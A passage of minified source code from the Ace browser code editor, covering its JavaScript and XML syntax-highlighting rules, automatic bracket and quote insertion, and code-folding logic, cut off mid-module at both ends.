:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.function.dom\"],regex:/(\\.)(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.constant\"],regex:/(\\.)(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:r},{token:\"keyword.operator\",regex:/--|\\+\\+|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:r},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]},(!e||!e.noES6)&&this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:s},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(o,s),t.JavaScriptHighlightRules=o}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),ace.define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),ace.define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var 